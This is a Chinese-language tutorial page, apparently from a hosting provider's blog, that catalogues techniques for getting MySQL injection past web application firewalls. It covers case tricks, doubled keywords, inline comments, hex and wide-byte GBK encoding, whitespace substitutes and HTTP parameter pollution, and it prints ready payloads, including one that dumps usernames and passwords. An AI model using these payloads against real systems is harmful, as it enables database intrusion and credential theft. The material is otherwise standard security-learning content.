您好,登錄后才能下訂單哦!
這篇文章主要介紹“MySQL注入繞過WAF的基礎方式是什么”,在日常操作中,相信很多人在MySQL注入繞過WAF的基礎方式是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”MySQL注入繞過WAF的基礎方式是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
SQL注入繞過WAF
用于過濾時沒有匹配大小寫的情況:
SeLECt * from table;
用于將禁止的字符直接刪除的情況:
比如,使用preg_replace()
或者是str_replace()
將and
、or
、select
、union
等關鍵詞替換為空字符串。
這時,可以使用雙寫嵌套繞過,or
寫成oorr
,and
寫成aandnd
、select
寫成seselectlect
、union
寫成uniunionon
。在刪除一個關鍵字后,剩下的部分又可以重新組合成完整的關鍵字。
內聯注釋的作用是增加SQL語句的可移植性。比如,將MySQL特有的語法使用內聯注釋的形式來編寫,在這種情況下,MySQL可以正常的解析并執行內聯注釋中的代碼,但是其它的SQL服務器則忽略內聯注釋中的內容。
/*! MySQL特有的語法 */
例如MySQL服務器可以在以下語句中識別STRAIGHT_JOIN
關鍵字,而其他服務器則不能:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
如果在!后面添加版本號,則僅當MySQL版本大于或者等于指定的版本號時,才會執行注釋中的語法。例如,以下注釋中的關鍵字KEY_BLOCK_SIZE
僅由MySQL 5.1.10或者更高版本的服務器執行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
/*! */
類型的注釋,內部語句會被執行
select bbb from table1 where aaa='' union /*! select database()*/;
可以用來繞過一些WAF,或者是繞過空格
但是,不能將關鍵詞用注釋分開,例如下面的語句是不可執行的(或者說只能在某些較老版本執行)
select bbb from table1 where balabala='' union se/*!lect database()*/;
如果在查詢字段名的時候表名被過濾,或者是數據庫中某些特定字符被過濾,則可以使用16進制繞過。
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273
為users的16進制編碼
寬字節注入
以下是常用的URL編碼
ASCII值 | URL編碼 |
---|---|
\ | %5C |
' | %27 |
" | %22 |
# | %23 |
& | %26 |
寬字節注入的利用條件
查詢參數是被單引號包圍的,傳入的單引號又被轉義符
\
轉義,如在后臺數據庫中對接收的參數使用addslashes()
、mysql_real_escape_string()
或者是其他轉義函數數據庫的編碼為GBK
概括的說,就是單引號被轉義,但編碼為GBK。
利用方式
GET形式
id=-1%DF' union select 1,user(),3%23
在上述條件下,單引號'
被轉義為\'
,即%5c%27
。如果我們在單引號前加上%df
,就會構成%df%5c%27
,而在GBK編碼方式下,%df%5c
是漢字"連",所以單引號成功逃逸。
如果是在請求體中,需要使用POST參數。使用Burp Suite抓取請求,然后在單引號(%27
)之前添加%df
。
uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2
寬字節注入原理
MySQL在使用GBK編碼時,會認為兩個字符為一個漢字,例如%aa%5c
就是一個漢字猏
。因為轉義方法主要就是在敏感字符前面添加反斜杠\
,所以這里想辦法去掉反斜杠即可。
%df
吃掉\
其實這里第一個字符并不局限為%df
,只要是在%aa
到%fe
范圍內都可以。具體原因是,urlencode(\')=%5c%27
,我們在%5c%27
前面添加%df
,形成%df%5c%27
,MySQL在GBK編碼方式的時候,會將兩個字節當做一個漢字,這個時候就把%df%5c
當做是一個漢字運
,%27
則作為一個單獨的符號'
在外面,同時也就達到了我們的目的。
將\'
中的\
過濾掉
例如可以構造%5c%5c%27
的情況,后面的%5C
會被前面的%5C
給注釋掉。這也是bypass的一種方法。
addslashes()
函數返回在預定義字符之前添加反斜杠的字符串。
預定義字符 | 轉義后 |
---|---|
\ | \\ |
' | \' |
" | \" |
該函數可用于為存儲在數據庫中的字符串以及數據庫查詢語句準備字符串。
在使用addslashes()
時,我們需要將mysql_query
設置為binary
的方式,才能夠防御此漏洞。
Latin1編碼
Mysql表的編碼默認為latin1,如果設置字符集為utf8,則存在一些latin1中有而utf8中沒有的字符,而Mysql是如何處理這些字符的呢?直接忽略
于是我們可以輸入?username=admin%c2,存儲至表中就變為了admin
上面的%c2可以換為%c2-%ef之間的任意字符
and -> && or -> || 空格 -> /**/ -> %a0 -> %0a -> + # -> -- + -> ;%00(php<=5.3.4) -> or '1'='1 = -> like -> regexp -> <> -> in 注意:regexp為正則匹配,利用正則會有些新的注入手段
注意,因為&
是URL中不同參數之間的分隔符,所以,在前端中需要將&
進行URL編碼,編碼為%26
。
過濾空格
使用preg_replace()
或者str_replace()
函數,將空白字符替換為空字符串。
過濾了空格,使用編碼繞過。可以使用如下符號來替代:
符號 | 說明 |
---|---|
%09 | TAB鍵(水平) |
%0a | 新建一行 |
%0c | 新的一頁 |
%0d | return功能 |
%0b | TAB鍵(垂直) |
%a0 | 空格 |
過濾注釋
使用preg_replace()
或者str_replace()
函數,將多行注釋/**/
,單行注釋--
、#
替換為空字符串。
繞過方式:使用閉合繞過。
HTTP參數污染
由于沒有相關的HTTP RFC定義HTTP參數操作的語義,因此每個Web應用程序可能會以不用的方式來處理多個相同名稱的參數。
在單個HTTP請求中,攻擊者使用多個具有相同名稱的參數,將注入語句中的關鍵字拆分在每個參數的值中。
比如,index.php?par1=val1&par1=val2
下表是不同的Web服務器如何管理多次出現的同一參數。
HTTP后端 | 總體解析結果 | 例子 |
---|---|---|
ASP.NET/IIS | 特定參數所有內容進行拼接 | par1=val1,val2 |
ASP/IIS | 特定參數所有內容進行拼接 | par1=val1,val2 |
PHP/Apache | 最后一次出現的參數內容 | par1=val2 |
PHP/Zeus | 最后一次出現的參數內容 | par1=val2 |
JSP,Servlet/Apache Tomcat | 第一次出現的參數內容 | par1=val1 |
當Web應用程序將多個參數的值拼接起來,就可以得到完整的注入語句。同時,如果WAF只單獨檢查每個參數的值,或者是將整個請求數據作為單個字符串處理,這樣的安全機制將無法檢測到HPP攻擊。比如,ASP/IIS
將重復出現的參數的值拼接起來。
下面是兩個SQL注入的場景:"常規攻擊"和"使用HPP攻擊"。
“常規攻擊”演示了prodID參數中的標準聯合注入語句。這種攻擊方式會被Web應用程序防火墻(WAF)輕松識別。第二次攻擊在prodID參數上使用HPP。在這種情況下,prodID參數多次出現,而注入語句被拆分在每個prodID的值中。為了使WAF能夠識別完整的注入語句,還需要將所有的輸入拼接起來檢查。
常規攻擊:http://webApplication/showproducts.asp?prodID=9 UNION SELECT 1,2,3 FROM Users WHERE id=3 —
使用HPP攻擊:http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 —
用join代替
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit
limit 2,1
limit 1 offset 2
substr
select substr(database(),5,1)
select substr(database() from 5 for 1)
from為從第幾個字符開始,for為截取的長度
select substr(database() from 5)
from 5表示從第5個字符開始截取
如果for也被過濾了
select mid(reverse(mid(database() from (-5)))from(-1))
if
select if(database()='xxx',sleep(3),1)
SELECT 1 and DATABASE()='security' and sleep(3)
select case when database()='xxx' then sleep(5) else 0 end
select user from users limit 1
加限制條件
select user from users group by user_id having user_id=1
(user_id是表中的一個列)
可用運算符! ^ ~
以及not xor
來代替
常用函數的替代
字符串截取/拼接函數:
摘自https://xz.aliyun.com/t/7169
函數 | 說明 |
---|---|
SUBSTR(str,N_start,N_length) | 對指定字符串進行截取,為SUBSTRING的簡單版。 |
SUBSTRING() | 多種格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 對指定字符串從最右邊截取指定長度。 |
LEFT(str,len) | 對指定字符串從最左邊截取指定長度。 |
RPAD(str,len,padstr) | 在str 右方補齊len 位的字符串padstr ,返回新字符串。如果str 長度大于len ,則返回值的長度將縮減到len 所指定的長度。 |
LPAD(str,len,padstr) | 與RPAD相似,在str 左邊補齊。 |
MID(str,pos,len) | 同于SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串str 中,將自左數第pos 位開始,長度為len 個字符的字符串替換為新字符串newstr ,然后返回經過替換后的字符串。INSERT(str,len,1,0x0) 可當做截取函數。 |
CONCAT(str1,str2…) | 函數用于將多個字符串合并為一個字符串 |
GROUP_CONCAT(…) | 返回一個字符串結果,該結果由分組中的值連接組合而成。 |
MAKE_SET(bits,str1,str2,…) | 根據參數1,返回所輸入其他的參數值。可用作布爾盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')) 。 |
數字的代替:
使用true
、false
、pi()
、!
、floor
、~
、ceil()
、version()
等數學運算函數的組合進行代替
函數/語句
說明
LENGTH(str) | 返回字符串的長度。 |
PI() | 返回π的具體數值。 |
REGEXP “statement” | 正則匹配數據,返回值為布爾值。 |
LIKE “statement” | 匹配數據,%代表任意內容。返回值為布爾值。 |
RLIKE “statement” | 與regexp相同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次出現的位置。 |
POSITION(substr IN str) | 等同于LOCATE() 。 |
LOWER(str) | 將字符串的大寫字母全部轉成小寫。同:LCASE(str) 。 |
UPPER(str) | 將字符串的小寫字母全部轉成大寫。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,…) | 與MAKE_SET(bit,str1,str2...) 類似,根據N 返回參數值。 |
NULLIF(expr1,expr2) | 若expr1與expr2相同,則返回expr1,否則返回NULL。 |
CHARSET(str) | 返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) | 使用 pass_str 作為密碼,解密加密字符串 crypt_str。加密函數:ENCODE(str,pass_str) 。 |
到此,關于“MySQL注入繞過WAF的基礎方式是什么”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。